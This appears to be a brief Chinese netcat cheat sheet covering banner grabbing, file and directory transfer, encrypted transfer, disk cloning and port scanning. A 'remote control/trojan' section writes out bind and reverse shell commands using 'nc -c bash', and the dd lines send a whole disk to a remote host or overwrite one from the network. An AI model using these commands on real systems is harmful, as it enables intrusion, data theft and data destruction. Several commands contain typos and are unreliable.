NV(netcat)被称为网络工具中的瑞士军刀,体积小巧,功能强大,是一个多功能的工具。
主要功能:
telnet / 获取banner信息
[TOC]
这个时候作为nc作为客户端使用,参数为-nv [目标主机ip] [端口号]
1 2
| nc -nv 192.168.123.134 110 nc -nv 192.168.123.123 23
|
传输文本信息
可用于电子取证,保证尽量少的修改目标机器的内容,以免磁盘扇区被覆盖。在自己的电脑上开服务端侦听,在远程电脑上开客户端
1 2 3 4 5 6 7 8 9 10
| nc -l -p 4444
nc -nv 1.1.1.1 4444
nc -l -p 4444 > /tmp/ls.log
ls -al | nc -nv 1.1.1.1 4444 -q 1
|
传输文件/目录
传输文件
1 2 3 4 5 6 7
| nc -lp 333 > 1.mp3
nc -nv 1.1.1.1 333 < 1.mp4 -q 1
nc -q 1 -lp 333 < a.mp4 nv -nv 1.1.1.1 333 > 2.mp4
|
传输目录
1 2 3 4 5 6
| 先用tar打包然后再发送
tar -cvf - music/ | nc -lp 333 -q 1 tar -cvf log.tar music/ | nc -lp 333 q 1
nc -nv 1.1.1.1 333 | tar -xvf -
|
加密传输文件
1 2
| nc -lp 333 | mcrypt --flush Fbqd -a rijndael-256 -m ecb > 1.mp4
|
远程控制/木马
分为正向控制和反向控制
1 2 3 4 5 6
| nc -lp 333 -c bash nv -nv 1.1.1.1 333
nc -lp 333 nc -nv 1.1.1.1 333 -c bash
|
加密所有流量
流媒体服务器
远程克隆硬盘
1 2 3 4
| nc -lp 333 | dd of=/dev/sda
dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1
|
端口扫描
不如nmap准确,只作为辅助使用
1 2
| nc -nvz 1.1.1.1-65535 nc -nvzu 1.1.1.1 1-65535
|